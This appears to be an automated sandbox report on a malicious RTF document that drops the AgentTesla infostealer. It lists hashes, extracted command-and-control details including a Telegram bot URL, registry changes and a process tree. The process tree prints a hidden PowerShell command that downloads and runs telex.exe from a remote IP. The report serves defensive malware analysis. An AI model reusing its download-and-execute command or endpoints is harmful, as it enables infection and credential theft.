Analysis
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max time kernel
148s -
max time network
132s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
25-01-2023 11:32
Static task
static1
Behavioral task
behavioral1
Sample
c_xF3pia_r_xE1pida.rtf
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
c_xF3pia_r_xE1pida.rtf
Resource
win10v2004-20220901-en
General
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Target
c_xF3pia_r_xE1pida.rtf
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Size
255KB
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MD5
72af4b046582fa39d8a302d460de50c9
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SHA1
79fb9c95dd88ed5e4343f0f8e2603b4a296150b7
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SHA256
72342930696771d8f979442184cf8503588840bc32843f172d185ef334285664
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SHA512
85971e64415886036564935bc178275e11bbb7ceb6cef516af8da422b3dbc5e2662ac9ee2b8fd0873620b43f39a36b2f2f07fcb157d4967a8111b6793fea77a3
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SSDEEP
1536:i+r5aosJaQf5UHZbv7bpGLJ/oj4lFSHTVFojaVbUxZVzFz76mAg5eeVhMDw5wfL8:id54+VzFtr5RDAw5wfY
Malware Config
Extracted
http://46.101.92.117/hol/telex.exe
Extracted
agenttesla
https://api.telegram.org/bot5479139811:AAFjvrIBMkhtgUmULA2dMcFBI3ifYLrXZAc/
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Process spawned unexpected child process 6 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.execmd.execmd.execmd.execmd.execmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 888 1884 cmd.exe WINWORD.EXE Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1756 1884 cmd.exe WINWORD.EXE Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 624 1884 cmd.exe WINWORD.EXE Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1952 1884 cmd.exe WINWORD.EXE Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1084 1884 cmd.exe WINWORD.EXE Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1592 1884 cmd.exe WINWORD.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 4 1064 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 7 IoCs
Processes:
telex.exetelex.exetelex.exetelex.exetelex.exetelex.exetelex.exepid process 1304 telex.exe 1312 telex.exe 1624 telex.exe 108 telex.exe 1912 telex.exe 1476 telex.exe 624 telex.exe -
Loads dropped DLL 1 IoCs
Processes:
cmd.exepid process 1756 cmd.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
telex.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 telex.exe Key opened \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 telex.exe Key opened \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 telex.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
telex.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows\CurrentVersion\Run\yqwrt = "C:\\Users\\Admin\\AppData\\Roaming\\yqwrt\\yqwrt.exe" telex.exe -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 10 api.ipify.org 11 api.ipify.org -
Suspicious use of SetThreadContext 1 IoCs
Processes:
telex.exedescription pid process target process PID 1304 set thread context of 1912 1304 telex.exe telex.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
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Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE -
Modifies registry class 64 IoCs
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1" WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1884 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 14 IoCs
Processes:
powershell.exetelex.exepowershell.exepowershell.exetelex.exetelex.exetelex.exepid process 1064 powershell.exe 1304 telex.exe 1304 telex.exe 1632 powershell.exe 2012 powershell.exe 1312 telex.exe 1312 telex.exe 1624 telex.exe 1624 telex.exe 1624 telex.exe 1624 telex.exe 1912 telex.exe 1912 telex.exe 1912 telex.exe -
Suspicious use of AdjustPrivilegeToken 7 IoCs
Processes:
powershell.exetelex.exepowershell.exetelex.exepowershell.exetelex.exetelex.exedescription pid process Token: SeDebugPrivilege 1064 powershell.exe Token: SeDebugPrivilege 1304 telex.exe Token: SeDebugPrivilege 1632 powershell.exe Token: SeDebugPrivilege 1312 telex.exe Token: SeDebugPrivilege 2012 powershell.exe Token: SeDebugPrivilege 1624 telex.exe Token: SeDebugPrivilege 1912 telex.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
Processes:
WINWORD.EXEpid process 1884 WINWORD.EXE 1884 WINWORD.EXE 1884 WINWORD.EXE 1884 WINWORD.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
WINWORD.EXEcmd.execmd.exetelex.execmd.execmd.execmd.execmd.exetelex.exedescription pid process target process PID 1884 wrote to memory of 888 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 888 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 888 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 888 1884 WINWORD.EXE cmd.exe PID 888 wrote to memory of 1064 888 cmd.exe powershell.exe PID 888 wrote to memory of 1064 888 cmd.exe powershell.exe PID 888 wrote to memory of 1064 888 cmd.exe powershell.exe PID 888 wrote to memory of 1064 888 cmd.exe powershell.exe PID 1884 wrote to memory of 1756 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 1756 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 1756 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 1756 1884 WINWORD.EXE cmd.exe PID 1756 wrote to memory of 1304 1756 cmd.exe telex.exe PID 1756 wrote to memory of 1304 1756 cmd.exe telex.exe PID 1756 wrote to memory of 1304 1756 cmd.exe telex.exe PID 1756 wrote to memory of 1304 1756 cmd.exe telex.exe PID 1884 wrote to memory of 624 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 624 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 624 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 624 1884 WINWORD.EXE cmd.exe PID 1304 wrote to memory of 1912 1304 telex.exe telex.exe PID 1304 wrote to memory of 1912 1304 telex.exe telex.exe PID 1304 wrote to memory of 1912 1304 telex.exe telex.exe PID 1304 wrote to memory of 1912 1304 telex.exe telex.exe PID 624 wrote to memory of 1632 624 cmd.exe powershell.exe PID 624 wrote to memory of 1632 624 cmd.exe powershell.exe PID 624 wrote to memory of 1632 624 cmd.exe powershell.exe PID 624 wrote to memory of 1632 624 cmd.exe powershell.exe PID 1304 wrote to memory of 1912 1304 telex.exe telex.exe PID 1304 wrote to memory of 1912 1304 telex.exe telex.exe PID 1304 wrote to memory of 1912 1304 telex.exe telex.exe PID 1304 wrote to memory of 1912 1304 telex.exe telex.exe PID 1304 wrote to memory of 1912 1304 telex.exe telex.exe PID 1884 wrote to memory of 1952 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 1952 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 1952 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 1952 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 1084 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 1084 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 1084 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 1084 1884 WINWORD.EXE cmd.exe PID 1952 wrote to memory of 1312 1952 cmd.exe telex.exe PID 1952 wrote to memory of 1312 1952 cmd.exe telex.exe PID 1952 wrote to memory of 1312 1952 cmd.exe telex.exe PID 1952 wrote to memory of 1312 1952 cmd.exe telex.exe PID 1084 wrote to memory of 2012 1084 cmd.exe powershell.exe PID 1084 wrote to memory of 2012 1084 cmd.exe powershell.exe PID 1084 wrote to memory of 2012 1084 cmd.exe powershell.exe PID 1084 wrote to memory of 2012 1084 cmd.exe powershell.exe PID 1884 wrote to memory of 1592 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 1592 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 1592 1884 WINWORD.EXE cmd.exe PID 1884 wrote to memory of 1592 1884 WINWORD.EXE cmd.exe PID 1592 wrote to memory of 1624 1592 cmd.exe telex.exe PID 1592 wrote to memory of 1624 1592 cmd.exe telex.exe PID 1592 wrote to memory of 1624 1592 cmd.exe telex.exe PID 1592 wrote to memory of 1624 1592 cmd.exe telex.exe PID 1312 wrote to memory of 624 1312 telex.exe telex.exe PID 1312 wrote to memory of 624 1312 telex.exe telex.exe PID 1312 wrote to memory of 624 1312 telex.exe telex.exe PID 1312 wrote to memory of 624 1312 telex.exe telex.exe PID 1312 wrote to memory of 624 1312 telex.exe telex.exe PID 1312 wrote to memory of 624 1312 telex.exe telex.exe PID 1312 wrote to memory of 624 1312 telex.exe telex.exe -
outlook_office_path 1 IoCs
Processes:
telex.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 telex.exe -
outlook_win_path 1 IoCs
Processes:
telex.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 telex.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c_xF3pia_r_xE1pida.rtf"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://46.101.92.117/hol/telex.exe','C:\Users\Admin\AppData\Roaming\telex.exe')2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://46.101.92.117/hol/telex.exe','C:\Users\Admin\AppData\Roaming\telex.exe')3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Roaming\telex.exe2⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\telex.exeC:\Users\Admin\AppData\Roaming\telex.exe3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\telex.exe"C:\Users\Admin\AppData\Roaming\telex.exe"4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://46.101.92.117/hol/telex.exe','C:\Users\Admin\AppData\Roaming\telex.exe')2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://46.101.92.117/hol/telex.exe','C:\Users\Admin\AppData\Roaming\telex.exe')3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Roaming\telex.exe2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
